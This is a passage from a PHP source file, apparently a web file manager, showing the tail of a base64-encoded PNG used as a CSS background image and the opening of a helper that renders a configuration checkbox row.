///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '